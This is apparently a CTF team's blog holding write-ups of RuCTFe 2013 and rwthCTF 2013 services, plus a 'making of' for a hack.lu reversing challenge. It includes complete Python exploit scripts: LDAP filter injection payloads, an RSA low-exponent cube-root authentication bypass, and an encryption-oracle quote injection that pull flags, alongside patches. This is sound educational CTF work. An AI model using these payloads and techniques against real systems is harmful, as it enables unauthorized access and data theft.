Skip to content

RuCTFe 2013 - contacts write up

We (FluxFingers) just finished the RuCTFe 2013 with the 2nd place. At this point I want to thank the organizers for this great CTF. It was definitely the best CTF this year.

Now to the write-up of the "contacts" service. The service consisted of a apache2 webserver, a LDAP server and a bash cgi script. The apache2 webserver and the LDAP server were communicating via a socket file. The webserver was listening on port 8000. The webpage that was shown was a address book in which new contacts can be added (with a password), contacts can be searched and all information about a contact can be seen if the password was known.

The first thing that was suspicious was the information page case:


[...]
info_page() {
        header

        if [[ $password = *'*'* ]]; then
                echo Security alert
                return
        fi

        local results=`$ldapsearch -LLL -H $ldapsocket -x -b "dc=ructfe,dc=org" -s sub "(&(objectclass=inetOrgPerson)(cn=${name} ${surname})(userPassword=${password}))"`
[...]
 


The variables name, surname and password can be controlled by the attacker. So first I thought about a RCE at this point. But I was not able to get one because of the ${} substring part. But a LDAP injection was possible (I had the same plan for a challenge for the hack.lu, but now I have to get a new idea ;-) ). We can see that the filter for the search request uses an AND statement with three elements. So the search request looks like this "objectclass=inetOrgPerson AND cn=$name $surname AND userPassword=$password". LDAP (like other languages for databases) got a wildcard symbol ("*"). So when we can get the request like this "objectclass=inetOrgPerson AND cn=* AND userPassword=*" we can get every address book entry. But the "*" is filtered out from the password. And now comes the LDAP injection into play. We can enter the following for the surname "*)(|(userPassword=*" and a password that ends with ")" for the userPassword in order to get the following request "(&(objectclass=inetOrgPerson)(cn=* *)(|(userPassword=*)(userPassword=placeholder)))". This request looks like this "objectclass=inetOrgPerson AND cn=* AND (userPassword=* OR userPassword=placeholder)". And we see: win! Our exploit looked like this:


#!/usr/bin/python
import requests
import re
import sys
import os
import time
import urllib
import random

lastflags = 20

ip = sys.argv[1]


# generate random password
password_text = ""
for i in range(random.randint(5,10)):
        password_text += chr(random.randint(65,90))


url = "http://" + ip + ":8000/?action=info&name=%2a&surname=*%29%28|+%28userPassword%3D*&password=" + password_text + "%29"

session = requests.Session()
try:
        r1 = session.get(url)
except:
        sys.exit()

output = r1.text

r = re.compile('\w{31}=', re.DOTALL)

flags = list()
for m in r.finditer(output):
        flag = m.group(0)
        flags.append(flag)

if lastflags < len(flags):
        for i in range(lastflags):
                print flags[(len(flags) -1 - i)]
else:
        for flag in flags:
                print flag
 


How can we fix this? Easy, we can make a check if the "*" symbol is used by name or surname. But this is done by a lot of teams. So how can we circumvent their patch? For this we wrote a second exploit.

We can form the query to something like this "objectclass=inetOrgPerson AND cn=Name Surname AND (NOT userPassword=placeholder OR userPassword=placeholder2)". This request does not need any wildcard, but the name and surname. But luckily the search request allows the "*" wildcard. So we extract all names and surnames with the search function of the service, then we generate our query. Our exploit looked like this:


#!/usr/bin/python
import requests
import re
import sys
import os
import time
import urllib
import random

lastflags = 20

ip = sys.argv[1]

url1 = "http://" + ip + ":8000/?action=search&q=%2a"

session = requests.Session()
try:
        r1 = session.get(url1)
except:
        sys.exit()

r = re.compile('<div class="name" style="font-size: x-large; margin-bottom: 5px"><b> \w+ \w+ </b></div>', re.DOTALL)


name_list = list()
for m in r.finditer(r1.text):
        line = m.group(0)
        fullname = line[69:(len(line) - 11)]
        name_list.append(fullname.split())


for name_pair in name_list:

        # generate random password
        password_text = ""
        for i in range(random.randint(5,10)):
                password_text += chr(random.randint(65,90))

        # generate random password
        password_text2 = ""
        for i in range(random.randint(5,10)):
                password_text2 += chr(random.randint(65,90))           


        # generate timestamp and only get flags that are not older than 20 minutes
        current_time = time.localtime()
        minute = current_time[4] - 20
        hour = current_time[3]
        if minute < 0:
                minute += 60
                hour -= 1

        # YEAR + MONTH + DAY + HOUR - 1 + MIN + SEC + "Z"
        timestamp = str(current_time[0]) + str(current_time[1]) + str(current_time[2]) + str(hour - 1) + str(minute) + str(current_time[5]) + "Z"

        url2 = "http://" + ip + ":8000/?action=info&name=" + name_pair[0] + "&surname=" + name_pair[1] + "%29%28createTimestamp%3E=" + timestamp + "%29%28|%28!%28userPassword=" + password_text2 + "%29&password=" + password_text + "%29"

        try:
                r2 = session.get(url2)
        except:
                sys.exit()

        output = r2.text

        r = re.compile('\w{31}=', re.DOTALL)

        flags = list()
        for m in r.finditer(output):
                flag = m.group(0)
                flags.append(flag)

        if lastflags < len(flags):
                for i in range(lastflags):
                        print flags[(len(flags) -1 - i)]
        else:
                for flag in flags:
                        print flag
 


As you can see, the exploit generates a timestamp and uses it in the query. This is done to only get the entries that were added in the last 20 minutes. When we are not doing this, we get all flags on every request (even the ones that are expired). The request looks like this "(&(objectclass=inetOrgPerson)(cn=Name Surname)(createTimestamp>=TIMESTAMP)(|(!(userPassword=placeholder))(userPassword=placeholder2)))". The downside of this exploit is, that it performs a lot of requests. So this was just an additional exploit for all teams that patched their services with the quick and dirty search for the "*" symbol. How can we patch this? Search for "(" or ")" in the name/surname. Or just allow only letters in the name/surname.

Luckily, we found this bug at the beginning of the CTF and until the end it was the service that got us the most points.

Categories: CTF

rwthCTF 2013 - smartgrid write up

The service smartgrid was a component of the rwthCTF 2013 last Saturday ( where we made the 2nd place \o/ ). First, I want to thank the organizers for this great CTF and all the hard work that is connected with it.

Ok, that is done and now to the service. It was a service written in python which allows you to see the power consumption of devices and billings. There was also an admin panel to register new devices. The flags were stored in a SQLite db under the column "status". We found 3 flaws in the service and wrote 2 exploits to abuse them. All in all the service brought us a little bit over 50% of our attack score (if our submission summary is correct).

First the easy flaw. If you connect to the service and just send "help" to the service you get a list of all commands. The strange thing was, the command "readstatus" was listed more than only once. If you take a look at the "serve.py" you can see the registered commands and the help text:



# [...]
# own stuff
from config import HOST, PORT
from command import CommandController, ExitCommand, HelpCommand
from consumer import AddConsumerCommand, ListConsumersCommand, StatusUpdateCommand, GetBillingInfoCommand, ReadConsumerInfoCommand, GetAvgUsageCommand, RequestCommand, PollRequestCommand, GetCurrentByTypeCommand, GetAvgByTypeCommand
from admin import AdminCommand
import scheduler

controller = CommandController()

controller.register("^exit$", ExitCommand, "exit\tEnds the connection")
controller.register("^help$", HelpCommand, "help\tDisplays a list of possible commands")
controller.register("^admin$", AdminCommand, "admin\tStart admin authentication")
controller.register("^addconsumer \w+ \S+ \d+ \d+ \d+$", AddConsumerCommand, "addconsumer <type> <pw> <min> <typ> <max>\tAdds a new smartgrid consumer with the given password to protect status information. The registration must also contain minimal, typical and maximal power consumption of the device in mW")
controller.register("^listconsumers", ListConsumersCommand, "listconsumers\tLists all registered smartgrid consumers.")
controller.register("^statusupdate [a-f0-9-]+ .+$", StatusUpdateCommand, "statusupdate <uuid> <data>\tUpdate status information for smartgrid device with given uuid.")
controller.register("^getbillinginfo [a-f0-9-]+ \d+ .+$", GetBillingInfoCommand, "getbillinginfo <uuid> <statusId> <billingData>\tRetrieve the billing information for a certain status update.")
controller.register("^readconsumerinfo [a-f0-9-]+$", ReadConsumerInfoCommand, "readconsumerinfo <uuid>\tDisplay information of the smartgrid device with given uuid.")
controller.register("^getavgusage [a-f0-9-]+$", GetAvgUsageCommand, "getavgusage <uuid>\tDisplay the average power consumption of the device with given uuid.")
controller.register("^request [a-f0-9-]+ .+$", RequestCommand, "request <uuid> <encryptedRequest>\tRequest a certain power consumption from the grid.")
controller.register("^pollrequest [a-f0-9-]+ \d+$", PollRequestCommand, "pollrequest <uuid> <requestId>\tCheck on an earlier submitted request.")
controller.register("^getcurrbytype .+$", GetCurrentByTypeCommand, "getcurrbytype <deviceType>\tObtain statistics on current consumption of devices of the given type.")
controller.register("^getavgbytype .+$", GetAvgByTypeCommand, "getavgbytype <deviceType>\tObtain statistics on usage history of devices of the given type.")
# [...]
 



As you can see, the "readstatus" command is not registered. But when you take a look at the "admin.py" you can see, it is registered there:



# [...]
self.send("+OK Authentication successful\n")
self.handler.commandController.register("^readstatus [a-f0-9-]+$", ReadStatus, "readstatus <uuid>\tRead all status information for a given device.")
self.handler.commandController.register("^readkey [a-f0-9-]+$", ReadKey, "readkey <uuid>\tRead the data protection key for a given device.")
# [...]
 



And from the looks of it, it is only registered when the admin is authenticated correctly. Ok, to get the "status" which is the flag, we just have to use "readstatus ". So the next thing is to get the uuid. And when we take a look at the "help" command, we see that there is the "listconsumers", which will give you all uuids. So at this point, we do not exactly know the reason why we can get the flags with it, but we can. So we wrote the first exploit for it to get the flags (I will show the code for it later because we added the 2nd flaw we found to it to make it more immune against patches).

The reason why this works was as far as I know this line in "serve.py":



# [...]
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
# [...]
 



Because of the "SocketServer.ThreadingMixIn" we got the newly registered commands available from the admin sessions of the gameserver (because we have the same context/state). Our patch was to use the "SocketServer.ForkingMixIn" mode instead of the "SocketServer.ThreadingMixIn" and it worked fine.

The next flaw was in the "admin" command.



# [...]
class AdminCommand(command.CommandBase):
        def handle(self):
                try:
                        keydata = open(adminkeyname, "r").read()
                        rsa = RSA.importKey(keydata)

                        secret = random.getrandbits(1024)
                        challenge = rsa.encrypt(secret,0)[0]

                        sha = hashlib.sha256()
                        sha.update(str(secret))
                        desiredResult = sha.hexdigest()

                        self.send("+OK Answer challenge; challenge={}\n".format(challenge))

                        answer = self.readline()

                        res = anserRe.match(answer)
                        if res is None:
                                self.send("-ERR Invalid answer format\n")

                        result = res.group(1)

                        if result == desiredResult:
                                self.send("+OK Authentication successful\n")
                                self.handler.commandController.register("^readstatus [a-f0-9-]+$", ReadStatus, "readstatus <uuid>\tRead all status information for a given device.")
                                self.handler.commandController.register("^readkey [a-f0-9-]+$", ReadKey, "readkey <uuid>\tRead the data protection key for a given device.")
                        else:
                                self.send("-ERR Authentication failed\n")


                except Exception as e:
                        print("-ERR {}\n".format(e))
# [...]
 



The code is ok but the detail lies within the public key. Our idea was, that there was something wrong with it. It was just 3 and nothing was wrong with it so far. But the used "secret" for the challenge that was encrypted with it was small enough so we could calculate the cube root for it. So with this neat trick, we could calculate the response and gain admin permissions. Now we combined it with the first flaw. The patch for it was simply to raise the length of the "secret" value:



# [...]
secret = random.getrandbits(2048)
# [...]
 



And here is our first exploit for smartgrid:



#!/usr/bin/env python
# a simple TCP/UDP client
 
import socket
import time
import sys
import gmpy
import hashlib
BUFSIZE = 4096
 
class Client:
        def __init__(self, host, port, layer4="tcp"):
                self.host = host
                self.port = port
                self.layer4 = layer4
 
        def connect(self, maxRetries=2, pauseAfterFail=0.5):
                # use the right socket configuration
                if self.layer4 == "tcp":
                        self.socket = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
                elif self.layer4 == "udp":
                        self.socket = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
                else:
                        raise NotImplementedError("Layer 4 protocol not implemented Client class")

                # try to connect for maxRetries time
                retries = 0
                while True:
                        try:
                                self.socket.connect((self.host, self.port))
                                return True
                        except:
                                retries += 1
                                if retries == maxRetries:
                                        print "Unable to connect. Giving up after %d retries." % retries
                                        return False

                                time.sleep(pauseAfterFail)

        def send(self, data):
                try:
                        count = self.socket.send(data)
                except:
                        print "Unable to send data."
                        return False
                if count == len(data):
                        return True
                else:
                        print "Unable to send all data."
                        return False
                               
        def recv(self, buffsize, timeout=3.0):
                data = None
                self.socket.settimeout(timeout)
                try:
                        data = self.socket.recv(buffsize)
                except socket.timeout:
                        print "Receive timed-out"
                except:
                        print "Unexpected exception while receiving"
                self.socket.settimeout(None)
                return data

        def close(self):
                self.socket.close()


def calcResponse(chall):
        m0 = gmpy.mpz(int(chall))
        sha = hashlib.sha256()
        sha.update(str(m0.root(3)[0]))
        return sha.hexdigest()


if __name__ == '__main__':

        # flag valid for 15 minutes
        flagvalid = 15 * 60


        ip = sys.argv[1]
        conn = Client(ip, 21721)

        if conn.connect():

                # get header of server
                while(1):
                        data = conn.recv(BUFSIZE)
                        if data == None or data =="\r\n" or data == "" or data == ">":
                                break



                # get admin permissions
                if conn.send("admin\r\n") == False:
                        sys.exit()

                data = conn.recv(BUFSIZE)
                challenge = data


                try:

                        # extract challenge
                        challenge = challenge[(challenge.find("challenge=")+10):]

               
                        challenge = int(challenge)

                        response = calcResponse(challenge)

                        if conn.send("answer=" + response + "\r\n") == False:
                                sys.exit()

                        # get authentication successful
                        while(1):
                                data = conn.recv(BUFSIZE)
                                if data == None or data =="\r\n" or data == "" or data == ">" or data == "\n":
                                        break
                except:
                        print "Challenge was not castable to Integer ... trying without admin permissions."





                # get all uuids
                if conn.send("listconsumers\r\n") == False:
                        sys.exit()
                listConsumersString = ""
                while(1):
                        data = conn.recv(BUFSIZE)
                        if data == None or data =="\r\n" or data == "" or data == ">":
                                break
                        listConsumersString += data


                if listConsumersString == "":
                        sys.exit()


                # remove string "+OK ; devices=" and last \n
                listConsumersString = listConsumersString[14:-1]

                # remove leading and trailing "[" "]"
                listConsumersString = listConsumersString.replace("[", "")
                listConsumersString = listConsumersString.replace("]", "")

                # replace seperator with ";"
                listConsumersString = listConsumersString.replace(", ", ";")

                # remove single quotes
                listConsumersString = listConsumersString.replace("'", "")

                uuids = listConsumersString.split(";")


                # reverse list to only use last uuids (it is ordered by time)
                uuids.reverse()

                counter = 0
                for uuid in uuids:

                        # check only the last 30 items
                        if counter >= 30:
                                break

                        localtime = int(time.time())

                        if conn.send("readstatus " + uuid + "\r\n") == False:
                                sys.exit()

                        flag = ""
                        while(1):
                                data = conn.recv(BUFSIZE)
                                if data == None:
                                        sys.exit()
                                if data == None or data =="\r\n" or data == "" or data == ">":
                                        break
                                flag += data

                        if flag == "":
                                continue

                        # extract flag
                        flag = flag.strip()
                        flag = flag[flag.find("status=")+7:]
                        #flag = flag.replace("+OK ; status_info=[(status=", "")
                        timestamp = flag
                        flag = flag[0:16]

                        location = timestamp.find("tstamp=")
                        timestamp = timestamp[location:]
                        timestamp = timestamp.replace("tstamp=", "")
                        timestamp = timestamp[0:10]

                        try:
                                difference = localtime - int(timestamp)

                                if flagvalid > difference:
                                        print flag                             
                        except:
                                continue

                        counter += 1
                       



Ok, now to the third flaw that we found. We found that the "getbillinginfo" encrypts stuff for us and the "request" command decrypts stuff for us. So can we use this as a kind of "oracle"?



# [...]

def encodeBillingInformation(self, additionalData):
        info = additionalData + "/" + str(self)
        encrypted = aes_256_cbc_encrypt(self.device.deviceUUID[0:16], self.device.dataprotectionKey.decode("hex"), info)
        return encrypted.encode("base64").replace("\n","")

# [...]
#type is getbillinginfo <uuid> <statusId> <billingData>
class GetBillingInfoCommand(command.CommandBase):
        def handle(self):
                try:
                        cm = ConsumerManager()
                        status = cm.findStatusById(int(self.params[2]))
                        if status is None or status.device.deviceUUID != self.params[1]:
                                self.send("-ERR No such status record\n")
                                return

                        self.send("+OK Ready; billing_info={}\n".format(status.encodeBillingInformation(self.params[3])))
                except Exception as e:
                        self.send("-ERR {}\n".format(e))

# [...]

#type is request <uuid> <encryptedRequest>
class RequestCommand(command.CommandBase):
        def handle(self):
                try:
                        cm = ConsumerManager()
                        deviceUUID = self.params[1]
                        device = cm.findDeviceByUUID(deviceUUID)
                        if device is None:
                                self.send("-ERR No such device\n")
                                return

                        encodedRequest = self.params[2]
                        decodedRequest = aes_256_cbc_decrypt(device.deviceUUID[0:16], device.dataprotectionKey.decode("hex"), encodedRequest.decode("base64"))
                        requestParams = command.ParameterSplit(decodedRequest)
                        if len(requestParams) != 2:
                                self.send("-ERR Unable to decode your request\n")
                                return
                        if not requestParams[0].isdigit():
                                self.send("-ERR Power consumption has to be numeric\n")
                                return

                        req = device.issueRequest(int(requestParams[0]), requestParams[1])
                        cm.commitChanges()

                        self.send("+OK Request stored - now pending; id={}\n".format(req.id))
                except Exception as e:
                        self.send("-ERR {}\n".format(e))

# [...]
 



We can see if we were able to succeed, a request is "pending". But how can we get this request? A look at the command "pollrequest" gives the anwser.



# [...]

#type is pollrequest <uuid> <requestId>
class PollRequestCommand(command.CommandBase):
        def handle(self):
                try:
                        cm = ConsumerManager()
                        request = cm.findRequestById(int(self.params[2]))
                        if request is None or request.device.deviceUUID != self.params[1]:
                                self.send("-ERR No such request\n")
                                return

                        self.send("+OK Request data; {}\n".format(request))
                except Exception as e:
                        self.send("-ERR {}\n".format(e))

# [...]
 



When we can make a request, then we can use the uuid and the request id to get something that uses "cm.findRequestById()". If you take a look at "cm.findRequestById()" you will see that it uses a "SmartGridDeviceStatus" object which ultimatly gives you back the "status" (flag). It was a little bit obfuscated.

So, now the question of how we can make a request. We can not encrypt the reqeust by ourselves without the key. So we try to use the "getbillinginfo" command. The command takes three parameters, first the "uuid", thent the "status id" (which we can get when we use the "readconsumerinfo" command with the uuid) and "billingdata". When we take a close look, then we will see that the "billingdata" is just taken from the input and put before some stuff that is generated by the service. Then this string is encrypted and send to us back. So we have a way to encrypt stuff for us. Now we have to find a way to inject this in a request command.

The "RequestCommand()" function takes the uuid (which we have) and the encrypted data. The encrypted data is decrypted and then the decrypted data is used with the "ParameterSplit" function. When the parameter are not equal to 2, then our request fails. Ok, let us take a look at the "ParameterSplit" function.



# [...]
def ParameterSplit(cmdline):
        proc = cmdline.strip().replace("\t"," ")
        params = []
        while proc != "":
                proc = proc.strip()
                if proc[0] == "\"":
                        endQuote = __quotere.search(proc)
                        if endQuote:
                                unescaped = proc[1:endQuote.start(1)].replace("\\\"", "\"")
                                params.append(unescaped)
                                proc = proc[endQuote.start(1)+1:]
                                continue
                        else:
                                params.append(proc[1:])
                                proc = ""
                                continue
                else:
                        spacePos = proc.find(" ")
                        if spacePos < 0:
                                spacePos = len(proc)
                        params.append(proc[:spacePos])
                        proc = proc[spacePos+1:]
        return params
# [...]
 



The function will replace all "\t" with a whitespace (interesting but not needed) and then split the string at every whitespace for a new parameter. When something is written in a double quote, it counts as one parameter. This is the important thing for us. We need exactly 2 parameters, the problem is, we already have some parameters because our data is put in front of other stuff generated by the service (when we let the service encrypt our data). The interesting part is, that the service replaces a '\"' with a double quote. To find a way to abuse this, we added a print after the function that was used to see the parameter list that was build. Our payload was: " \"1 \\\"Fluxens\"".

Our patch was a little bit quick and dirty, but worked fine.



# [...]
#type is request <uuid> <encryptedRequest>
class RequestCommand(command.CommandBase):
        def handle(self):
                try:
                        cm = ConsumerManager()
                        deviceUUID = self.params[1]
                        device = cm.findDeviceByUUID(deviceUUID)
                        if device is None:
                                self.send("-ERR No such device\n")
                                return

                        encodedRequest = self.params[2]
                        decodedRequest = aes_256_cbc_decrypt(device.deviceUUID[0:16], device.dataprotectionKey.decode("hex"), encodedRequest.decode("base64"))
                        if "/(status" in decodedRequest:
                                self.send("-ERR Unable to decode your request\n")
                                return
                        requestParams = command.ParameterSplit(decodedRequest)
                        if len(requestParams) != 2:
                                self.send("-ERR Unable to decode your request\n")
                                return
                        if not requestParams[0].isdigit():
                                self.send("-ERR Power consumption has to be numeric\n")
                                return

                        req = device.issueRequest(int(requestParams[0]), requestParams[1])
                        cm.commitChanges()

                        self.send("+OK Request stored - now pending; id={}\n".format(req.id))
                except Exception as e:
                        self.send("-ERR {}\n".format(e))
# [...]
 



So our written exploit got all uuids, gets the status id, then encrypts our payload with "getbillinginfo", send a request with our payload and get the request with the id that was assigned to our request.



#!/usr/bin/env python
# a simple TCP/UDP client
 
import socket
import time
import sys
import gmpy
import hashlib
BUFSIZE = 4096
 
class Client:
        def __init__(self, host, port, layer4="tcp"):
                self.host = host
                self.port = port
                self.layer4 = layer4
 
        def connect(self, maxRetries=2, pauseAfterFail=0.5):
                # use the right socket configuration
                if self.layer4 == "tcp":
                        self.socket = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
                elif self.layer4 == "udp":
                        self.socket = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
                else:
                        raise NotImplementedError("Layer 4 protocol not implemented Client class")

                # try to connect for maxRetries time
                retries = 0
                while True:
                        try:
                                self.socket.connect((self.host, self.port))
                                return True
                        except:
                                retries += 1
                                if retries == maxRetries:
                                        print "Unable to connect. Giving up after %d retries." % retries
                                        return False

                                time.sleep(pauseAfterFail)

        def send(self, data):
                try:
                        count = self.socket.send(data)
                except:
                        print "Unable to send data."
                        return False
                if count == len(data):
                        return True
                else:
                        print "Unable to send all data."
                        return False
                               
        def recv(self, buffsize, timeout=3.0):
                data = None
                self.socket.settimeout(timeout)
                try:
                        data = self.socket.recv(buffsize)
                except socket.timeout:
                        print "Receive timed-out"
                except:
                        print "Unexpected exception while receiving"
                self.socket.settimeout(None)
                return data

        def close(self):
                self.socket.close()

   
if __name__ == '__main__':

        # flag valid for 15 minutes
        flagvalid = 15 * 60


        ip = sys.argv[1]
        conn = Client(ip, 21721)

        if conn.connect():

                # get header of server
                while(1):
                        data = conn.recv(BUFSIZE)
                        if data == None or data =="\r\n" or data == "" or data == ">":
                                break


                # get all uuids
                conn.send("listconsumers\r\n")
                listConsumersString = ""
                while(1):
                        data = conn.recv(BUFSIZE)
                        if data == None or data =="\r\n" or data == "" or data == ">":
                                break
                        listConsumersString += data

                if listConsumersString == "":
                        sys.exit()


                # remove string "+OK ; devices=" and last \n
                listConsumersString = listConsumersString[14:-1]

                # remove leading and trailing "[" "]"
                listConsumersString = listConsumersString.replace("[", "")
                listConsumersString = listConsumersString.replace("]", "")

                # replace seperator with ";"
                listConsumersString = listConsumersString.replace(", ", ";")

                # remove single quotes
                listConsumersString = listConsumersString.replace("'", "")

                uuids = listConsumersString.split(";")


                # reverse list to only use last uuids (it is ordered by time)
                uuids.reverse()

                counter = 0
                for uuid in uuids:

                        # check only the last 30 items
                        if counter >= 30:
                                break

                        localtime = int(time.time())


                        # get latest status
                        if conn.send("readconsumerinfo " + uuid + "\r\n") == False:
                                sys.exit()
                        latestStatus = ""
                        while(1):
                                data = conn.recv(BUFSIZE)

                                if data == None:
                                        sys.exit()

                                if data == None or data =="\r\n" or data == "" or data == ">":
                                        break
                                latestStatus += data

                        if latestStatus == "":
                                continue


                        latestStatus = latestStatus[latestStatus.find("latestStatus=")+13:]
                        latestStatus = latestStatus[:latestStatus.find(")")]


                        # get billing info
                        if conn.send("getbillinginfo " + uuid + " " + latestStatus + " \"1 \\\"Fluxens\"\r\n") == False:
                                sys.exit()
                        billingInfo = ""
                        while(1):
                                data = conn.recv(BUFSIZE)

                                if data == None:
                                        sys.exit()

                                if data == None or data =="\r\n" or data == "" or data == ">":
                                        break
                                billingInfo += data

                        billingInfo = billingInfo[billingInfo.find("billing_info=")+13:]


                        if conn.send("request " + uuid + " " + billingInfo + "\r\n") == False:
                                sys.exit()


                        idNo = ""
                        data = conn.recv(BUFSIZE)
                        if data == None:
                                sys.exit()
                        idNo += data.strip()   
                        idNo = idNo[idNo.find("id=")+3:]


                        # get some junk data
                        data = conn.recv(BUFSIZE)

                        if conn.send("pollrequest " + uuid + " " + idNo + "\r\n") == False:
                                sys.exit()


                        flag = ""
                        while(1):
                                data = conn.recv(BUFSIZE)

                                if data == None:
                                        sys.exit()

                                if data == None or data =="\r\n" or data == "" or data == ">":
                                        break
                                flag += data   

                        timestamp = flag

                        # extract flag
                        flag = flag[flag.find("status=")+7:flag.find("status=")+7+16]

                        # extract timestamp
                        timestamp = timestamp[timestamp.find(" tstamp=")+8:timestamp.find(" tstamp=")+8+10]

                        try:
                                difference = localtime - int(timestamp)

                                if flagvalid > difference:
                                        print flag                             
                        except:
                                continue

                        counter += 1
 
Categories: CTF

hack.lu CTF 2013 - ELF 400 - Making Of

Some guys on IRC asked me how I made the ELF challenge of the hack.lu CTF 2013. If I just used a HEX editor or some other tool. So I decided to write this little "making of".

First to the challenge itself. The text for the challenge was:


We encountered a drunk human which had this binary file in his possession. We do not really understand the calculation which the algorithm does. And that is the problem. Can you imagine the disgrace we have to suffer, when we robots, based on logic, can not understand an algorithm? Somehow it seems that the algorithm imitates their masters and behaves …. drunk! So let us not suffer this disgrace and reverse the algorithm and get the correct solution.


It still can be downloaded under http://h4des.org/source/challenges/hacklu2013/hacklu2013_elf. There was a problem under certain Linux Distributions like Ubuntu, Xubuntu and ArchLinux. When they were used, the calculation of the flag was wrong. This announcement was given during the contest to clarify things:


Ok I think we got it (thanks to Happy-H from Team ClevCode). Ubuntu introduced a patch to disallow ptracing of non-child processes by non-root users. This changes the calculated value. So when you use Ubuntu you should work as root. The other distributions should not be affected.

Anyway, I created a VM where the executable works just fine: http://h4des.org/source/challenges/hacklu2013/hacklu2013_elf.ova (User: elf:elf and root:root)


The VM is still downloadable via the link, if you want to solve the challenge by yourself. A really good write-up can be found here: http://bases-hacking.org/elf-hacklu2013.html.


Ok, now let us take a look at the source of code of the binary:



#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <string.h>

// global variable for anti ptrace
unsigned int anti_ptrace_var = 10;
char * phase2Const = "fluxFluxfLuxFLuxflUxFlUxfLUxFLUxfluXFluXfLuXFLuXflUXFlUXfLUXFLUX";



// this function checks if ptrace is used for debugging
void anti_ptrace(void) {
        pid_t child;

        // check if LD_PRELOAD is set
        if(getenv("LD_PRELOAD"))
                anti_ptrace_var++;

        // returns child PID in the parent and 0 in the child
        child = fork();

        // check if process is child or parent
        if(child) { // => process is parent
                // wait until child is terminated
                int status;
                wait(&status);

                // check if child could not attach to parent with ptrace => ptrace already in use
                if(status != 0) {
                        // also use sleep when child could not attach to parent
                        sleep(1);
                        anti_ptrace_var++;
                }

        }
        else { // => process is child
                pid_t parent = getppid();

                // try to attach to parent
                if (ptrace(PTRACE_ATTACH, parent, 0, 0) < 0)
                        // exit with an other status code to signal parent that ptrace could not be used
                        exit(1);

                // wait a second to give the OS time between attaching and detaching
                sleep(1);

                // detach to parent
                ptrace(PTRACE_DETACH, parent, 0, 0);

                // exit child
                exit(0);
        }
}


int main(int argc, char *argv[]) {

        // garbage variable to get more space in the stack for the modification
        char * placeholder[208];


        // check if ptrace or ld_preload is present
        anti_ptrace();

        // check if arguments count is correct
        if(argc != 2) {
                printf("Usage: %s <flag>\n", argv[0]);
                exit(0);
        }

        puts("Calculating phase 1 ...");

        char *inputFlag = argv[1];
        char *phase1 = (char *)malloc(strlen(inputFlag));

        unsigned int i, j;
        for(i = 0; i < strlen(inputFlag); i++) {
                phase1[i] = inputFlag[(i - anti_ptrace_var) % strlen(inputFlag)];
        }

        sleep(1);

        puts("done\n");


        // increase anti_ptrace_var => it is not possible to use a constant to reverse this algorithm
        anti_ptrace_var++;


        // calculate some stuff in order to get more space in the stack for the modification
        for(i = 0; i < 208; i++) {
                placeholder[i] = (char)0x41;
        }

        char *phase2 = (char *)malloc(strlen(inputFlag));

        puts("Calculating phase 2 ...");

        for(i = 0; i < strlen(inputFlag); i++) {
                phase2[i] = phase2Const[i] ^ anti_ptrace_var ^ phase1[i];
        }

        sleep(1);

        puts("done\n");


        // increase anti_ptrace_var => it is not possible to use a constant to reverse this algorithm
        anti_ptrace_var += 3;


        char *finalPhase = (char *)malloc(strlen(inputFlag));
        for(i=0; i < strlen(inputFlag); i++) {
                finalPhase[i] = (unsigned char)(anti_ptrace_var & 0xFF);
        }

        // calculate some stuff in order to get more space in the stack for the modification
        for(i = 0; i < 208; i++) {
                placeholder[i] = (char)0x42;
        }

        // calculate some stuff in order to get more space in the stack for the modification
        for(i = 0; i < 208; i++) {
                placeholder[i] = (char)0x46;
        }


        for(i = 0; i < 3; i++) {
                printf("Calculating phase %u ...\n", (i+3));

                for(j = 0; j < strlen(inputFlag); j++) {

                        finalPhase[j] = phase2[j] ^ finalPhase[j] ^ (unsigned int)phase2Const[ (j+i+anti_ptrace_var) % strlen(inputFlag) ];
                }

                sleep(1);

                puts("done\n");
        }


        // calculate some stuff in order to get more space in the stack for the modification
        for(i = 0; i < 208; i++) {
                placeholder[i] = (char)0x45;
                placeholder[i] = (char)0x43;
                if(placeholder[(i+3) % 208] == 0x41) {
                        placeholder[(i+4) % 208] = (char)0x53;
                }              
        }
        // calculate some stuff in order to get more space in the stack for the modification
        for(i = 0; i < 208; i++) {
                placeholder[i] = (char)0x43;
                if(placeholder[(i+3) % 208] == 0x41) {
                        placeholder[(i+4) % 208] = (char)0x53;
                }
                if(placeholder[(i+3) % 208] == 0x42) {
                        placeholder[(i+4) % 208] = (char)0x53;
                }              
        }      


        unsigned int solution1 = 0;
        unsigned int solution2 = 0;
        unsigned int solution3 = 0;
        unsigned int solution4 = 0;    

        for(i = 0; i < 4; i++) {
                solution1 = solution1 | (((unsigned int)finalPhase[i] & 0xFF) << (8*i));
        }

        for(i = 0; i < 4; i++) {
                solution2 = solution2 | (((unsigned int)finalPhase[i+4] & 0xFF) << (8*i));
        }

        for(i = 0; i < 4; i++) {
                solution3 = solution3 | (((unsigned int)finalPhase[i+8] & 0xFF) << (8*i));
        }

        for(i = 0; i < 4; i++) {
                solution4 = solution4 | (((unsigned int)finalPhase[i+12] & 0xFF) << (8*i));
        }


        if(solution1 == 0x58326011
        && solution2 == 0x22516561
        && solution3 == 0x5e6b6266
        && solution4 == 0x556e454b) {
                puts("Flag correct!");
        }
        else {
                puts("Flag wrong!");
        }


        return 0;

}
 



The code got two functions: the "main" and the "anti_ptrace" function. The "main" function first calls the "anti_ptrace" function and then starts some calculation with the given argument. After the calculation is done, it is checked with some fixed values. When the values are equal to the calculation, the string "Flag correct!" is printed. So the given argument have to be the flag. When we take a closer look at the calculation, we see that it works only byte-wise with some shifting and xoring. So it can be reversed and due to the fact that it is checked with four 4 Byte values, we can assume that the flag has 16 Bytes (and is also printable because the flag should be submitted to the scoreboard of the CTF afterwards). The calculation uses the global variable "anti_ptrace_var" which is initialized with 10. Let us keep that variable in mind.

